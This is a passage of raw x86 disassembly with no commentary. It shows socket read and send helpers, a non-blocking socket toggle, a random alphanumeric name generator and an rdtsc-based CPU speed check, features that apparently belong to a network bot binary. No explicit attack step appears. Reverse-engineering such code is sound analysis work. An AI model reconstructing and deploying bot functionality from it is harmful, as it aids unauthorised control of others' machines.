___:0041AC37j ; ___:0041AC3Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACD0: ; CODE XREF: ___:004021A3j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41ACEC pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41ACEC: ; CODE XREF: ___:0041ACE2j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AD02 loc_41ACF8: ; CODE XREF: ___:0041AD3Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD02: ; CODE XREF: ___:0041ACF6j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AD6D mov edi, ebp loc_41AD1B: ; CODE XREF: ___:0041AD6Bj cmp edi, ebx jz short loc_41AD6D cmp [esp+18h], bl jz short loc_41AD6D call sub_40196A test al, al jz short loc_41AD6D mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41ACF8 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AD4D cmp al, bl jnz short loc_41AD60 loc_41AD4D: ; CODE XREF: ___:0041AD47j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AD5A mov [esi+ebp-1], bl jmp short loc_41AD5C ; --------------------------------------------------------------------------- loc_41AD5A: ; CODE XREF: ___:0041AD52j mov [edi], bl loc_41AD5C: ; CODE XREF: ___:0041AD58j mov [esp+18h], bl loc_41AD60: ; CODE XREF: ___:0041AD4Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AD1B loc_41AD6D: ; CODE XREF: ___:0041AD17j ; ___:0041AD1Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ADB0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41ADC2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADC2: ; CODE XREF: ___:0041ADBAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41ADD3 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADD3: ; CODE XREF: ___:0041ADCBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AE00 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41AE12 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE12: ; CODE XREF: sub_41AE00+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE23 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE23: ; CODE XREF: sub_41AE00+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax call near ptr 71AC0B50h nop pop esi retn 8 sub_41AE00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:00401C53j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41AE8F cmp eax, 0FFFFFFFFh jz short loc_41AE85 cmp [esi+80Bh], cl jz short loc_41AE85 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE85: ; CODE XREF: ___:0041AE6Ej ; ___:0041AE76j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE8F: ; CODE XREF: ___:0041AE69j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41AEC5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEC5: ; CODE XREF: ___:0041AEB9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AF20: ; CODE XREF: ___:004016EFj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AF3D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF3D: ; CODE XREF: ___:0041AF31j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AF79 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF79: ; CODE XREF: ___:0041AF6Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AFC0: ; CODE XREF: ___:00401744j push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B030 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41B060 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41B060: ; CODE XREF: sub_41B030+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41B030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0B0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C49 mov dword ptr [esi], offset off_43F0C0 mov eax, esi pop esi retn sub_41B0B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0E0 proc near ; CODE XREF: ___:00401924j sub_401E92j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40187A test [esp+4+arg_0], 1 jz short loc_41B0F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B0F8: ; CODE XREF: sub_41B0E0+Dj mov eax, esi pop esi retn 4 sub_41B0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B110 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43F0C0 add ecx, 4 jmp sub_401FE6 sub_41B110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B130 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 push esi push edi call sub_40196A test al, al jnz short loc_41B142 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B142: ; CODE XREF: sub_41B130+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B195 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B167 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B167: ; CODE XREF: sub_41B130+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B17C loc_41B171: ; CODE XREF: sub_41B130+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B171 loc_41B17C: ; CODE XREF: sub_41B130+3Fj call sub_401F0A dec esi push esi push 0 call sub_4021C6 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B195: ; CODE XREF: sub_41B130+20j pop edi pop esi retn 4 sub_41B130 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B1C0: ; CODE XREF: ___:004020B3j push 0FFFFFFFFh push offset loc_43C017 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40196A test al, al jnz short loc_41B1FF mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401870 jmp loc_41B3AB ; --------------------------------------------------------------------------- loc_41B1FF: ; CODE XREF: ___:0041B1E8j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401870 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017EE test eax, eax push offset byte_448F30 jnz short loc_41B23C mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B39E ; --------------------------------------------------------------------------- loc_41B23C: ; CODE XREF: ___:0041B226j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_448F30 jnz short loc_41B262 mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B39E ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: ___:0041B24Cj lea ecx, [esp+18h] call sub_401870 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017EE push eax call sub_4382C2 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B2A6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov [esp+0Ch], edi jmp loc_41B390 ; --------------------------------------------------------------------------- loc_41B2A6: ; CODE XREF: ___:0041B28Bj mov edi, [esp+10h] mov esi, offset dword_4447F8 mov ecx, [edi] mov eax, [ecx+4] loc_41B2B4: ; CODE XREF: ___:0041B2D2j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B2D8 cmp cl, bl jz short loc_41B2D4 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B2D8 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B2B4 loc_41B2D4: ; CODE XREF: ___:0041B2BEj xor eax, eax jmp short loc_41B2DD ; --------------------------------------------------------------------------- loc_41B2D8: ; CODE XREF: ___:0041B2BAj ; ___:0041B2C8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B2DD: ; CODE XREF: ___:0041B2D6j cmp eax, ebx jz short loc_41B34B push ebp loc_41B2E2: ; CODE XREF: ___:0041B335j ; ___:0041B339j call near ptr 27E0C7Ah nop and eax, 0Fh cmp al, 8 jnz short loc_41B2F6 cmp word ptr [edi+8], 0Fh jz short loc_41B33B loc_41B2F6: ; CODE XREF: ___:0041B2EDj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B302 mov edi, ebp loc_41B302: ; CODE XREF: ___:0041B2FEj mov eax, [edi+4] mov esi, offset dword_4447F8 loc_41B30A: ; CODE XREF: ___:0041B328j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B32E cmp cl, bl jz short loc_41B32A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B32E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B30A loc_41B32A: ; CODE XREF: ___:0041B314j xor eax, eax jmp short loc_41B333 ; --------------------------------------------------------------------------- loc_41B32E: ; CODE XREF: ___:0041B310j ; ___:0041B31Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B333: ; CODE XREF: ___:0041B32Cj cmp eax, ebx jnz short loc_41B2E2 mov edi, ebp jmp short loc_41B2E2 ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: ___:0041B2F4j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015E1 pop ebp jmp short loc_41B358 ; --------------------------------------------------------------------------- loc_41B34B: ; CODE XREF: ___:0041B2DFj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015E1 loc_41B358: ; CODE XREF: ___:0041B349j push offset byte_448F30 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B378 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015E1 loc_41B378: ; CODE XREF: ___:0041B368j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov dword ptr [esp+0Ch], 1 loc_41B390: ; CODE XREF: ___:0041B2A1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B39E: ; CODE XREF: ___:0041B237j ; ___:0041B25Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B3AB: ; CODE XREF: ___:0041B1FAj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B460: ; CODE XREF: ___:00402153j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov dword ptr [esi], offset off_43F0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4A0 proc near ; CODE XREF: sub_401406j ___:00402036j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE0 test [esp+4+arg_0], 1 jz short loc_41B4B8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B4B8: ; CODE XREF: sub_41B4A0+Dj mov eax, esi pop esi retn 4 sub_41B4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4D0 proc near ; CODE XREF: sub_401BE0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B4D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B4D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B540: ; CODE XREF: ___:00401D52j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43F0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B580 proc near ; CODE XREF: sub_401686j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B690 mov ecx, [edi+823h] test ecx, ecx jz loc_41B690 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401492 mov ebp, dword_5118D8 test al, al jnz short loc_41B5E3 loc_41B5B9: ; CODE XREF: sub_41B580+61j mov al, [edi+10h] test al, al jz loc_41B67F mov al, byte_4E8E44 test al, al jz short loc_41B5E3 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401492 test al, al jz short loc_41B5B9 loc_41B5E3: ; CODE XREF: sub_41B580+37j ; sub_41B580+4Bj mov al, [edi+10h] test al, al jz loc_41B67F loc_41B5EE: ; CODE XREF: sub_41B580+F9j mov al, byte_4E8E44 test al, al jz loc_41B67F test esi, esi jnz short loc_41B61E push 80Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B61A push esi mov ecx, eax call sub_401C49 jmp short loc_41B61C ; --------------------------------------------------------------------------- loc_41B61A: ; CODE XREF: sub_41B580+8Ej xor eax, eax loc_41B61C: ; CODE XREF: sub_41B580+98j mov esi, eax loc_41B61E: ; CODE XREF: sub_41B580+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B95 test al, al jnz short loc_41B637 push 7D0h call ebp jmp short loc_41B674 ; --------------------------------------------------------------------------- loc_41B637: ; CODE XREF: sub_41B580+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4018A2 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B674 push esi call dword ptr [edi+823h] add esp, 4 loc_41B674: ; CODE XREF: sub_41B580+B5j ; sub_41B580+E8j mov al, [edi+10h] test al, al jnz loc_41B5EE loc_41B67F: ; CODE XREF: sub_41B580+3Ej ; sub_41B580+68j ... mov ecx, ebx call sub_4014E7 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B690: ; CODE XREF: sub_41B580+Bj ; sub_41B580+19j xor eax, eax pop edi add esp, 14h retn sub_41B580 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6F0 proc near ; CODE XREF: sub_402108j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41B6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B720: ; CODE XREF: ___:00401C35j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B795 mov esi, ebp loc_41B73F: ; CODE XREF: ___:0041B793j cmp esi, ebx jz short loc_41B795 cmp [esp+18h], bl jz short loc_41B795 mov ecx, [esp+14h] push ebx push 1 push esi push ecx nop call near ptr 71AB615Ah cmp eax, ebx jz short loc_41B7A4 cmp eax, 0FFFFFFFFh jz short loc_41B7A4 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_41B79D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B780 cmp al, 0Dh jz short loc_41B780 cmp al, bl jnz short loc_41B788 loc_41B780: ; CODE XREF: ___:0041B776j ; ___:0041B77Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B788: ; CODE XREF: ___:0041B77Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B73F loc_41B795: ; CODE XREF: ___:0041B73Bj ; ___:0041B741j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B79D: ; CODE XREF: ___:0041B76Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B7A4: ; CODE XREF: ___:0041B75Aj ; ___:0041B75Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B84A mov edi, ebp loc_41B7FF: ; CODE XREF: sub_41B7E0+68j cmp edi, ebx jz short loc_41B84A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B84A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx call near ptr 71AB615Ah nop test eax, eax jz short loc_41B859 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B82A cmp al, bl jnz short loc_41B83D loc_41B82A: ; CODE XREF: sub_41B7E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B837 mov [esi+ebp-1], bl jmp short loc_41B839 ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E0+4Fj mov [edi], bl loc_41B839: ; CODE XREF: sub_41B7E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B83D: ; CODE XREF: sub_41B7E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B7FF loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B7E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B7E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B880: ; CODE XREF: ___:00401AF0j push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B8DB loc_41B8A6: ; CODE XREF: ___:0041B8D9j push 3 push 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B8C7 dec eax jz short loc_41B8C1 dec eax jnz short loc_41B8D6 push 7Ah push 61h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C1: ; CODE XREF: ___:0041B8B6j push 5Ah push 41h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C7: ; CODE XREF: ___:0041B8B3j push 39h push 30h loc_41B8CB: ; CODE XREF: ___:0041B8BFj ; ___:0041B8C5j call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B8D6: ; CODE XREF: ___:0041B8B9j inc esi cmp esi, ebp jl short loc_41B8A6 loc_41B8DB: ; CODE XREF: ___:0041B8A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401424j rdtsc retn sub_41B900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B920 proc near ; CODE XREF: sub_4017FDj var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_5118D8 push ebp push esi push edi xor ebp, ebp loc_41B92F: ; CODE XREF: sub_41B920+43j ; sub_41B920+4Dj call sub_401424 push 3E8h mov esi, eax mov edi, edx call ebx call sub_401424 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_437C60 push ebp push 0Ah push edx push eax call sub_437C60 cmp edx, ebp mov esi, eax ja short loc_41B92F jb short loc_41B96F cmp esi, 0F4240h ja short loc_41B92F loc_41B96F: ; CODE XREF: sub_41B920+45j push ebp push 64h push edx push esi call sub_437BE0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B9F9 jb short loc_41B98F cmp ecx, 50h jnb short loc_41B998 loc_41B98F: ; CODE XREF: sub_41B920+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B998: ; CODE XREF: sub_41B920+6Dj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9A3 cmp ecx, 47h jnb short loc_41B9AC loc_41B9A3: ; CODE XREF: sub_41B920+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B9AC: ; CODE XREF: sub_41B920+81j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9B7 cmp ecx, 37h jnb short loc_41B9C0 loc_41B9B7: ; CODE XREF: sub_41B920+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B9C0: ; CODE XREF: sub_41B920+95j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9CB cmp ecx, 26h jnb short loc_41B9D4 loc_41B9CB: ; CODE XREF: sub_41B920+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B9D4: ; CODE XREF: sub_41B920+A9j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9DF cmp ecx, 1Eh jnb short loc_41B9E8 loc_41B9DF: ; CODE XREF: sub_41B920+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B9E8: ; CODE XREF: sub_41B920+BDj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9F3 cmp ecx, 0Ah jnb short loc_41B9F9 loc_41B9F3: ; CODE XREF: sub_41B920+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B9F9: ; CODE XREF: sub_41B920+66j ; sub_41B920+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BA50 proc near ; CODE XREF: sub_402040j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41BA50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_449729 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BBAF push ebp lea ecx, [esp+50h+var_3C] call sub_40142E push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C71 mov ebp, eax call sub_401F0A lea ecx, [esp+50h+var_3C] call sub_4013E3 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 280102Ah test eax, eax jnz short loc_41BAE6 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41BAE6: ; CODE XREF: sub_41BA50+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41BAEF: ; CODE XREF: sub_41BA50+A9j cmp ecx, eax jnz short loc_41BAF5 mov bl, 1 loc_41BAF5: ; CODE XREF: sub_41BA50+A1j inc eax cmp eax, 5Bh jl short loc_41BAEF mov eax, 61h loc_41BB00: ; CODE XREF: sub_41BA50+BAj cmp ecx, eax jnz short loc_41BB06 mov bl, 1 loc_41BB06: ; CODE XREF: sub_41BA50+B2j inc eax cmp eax, 7Bh jl short loc_41BB00 test bl, bl jnz short loc_41BB32 mov edi, offset byte_448F30 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BB32: ; CODE XREF: sub_41BA50+BEj mov esi, dword_511AC8 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj lea ecx, [esp+4Ch+var_24] call sub_40142E mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 27E0C7Ah push eax call near ptr 77C371BCh nop mov edi, dword_511AC8 add esp, 4 call edi cdq mov ecx, 3 idiv ecx lea ecx, 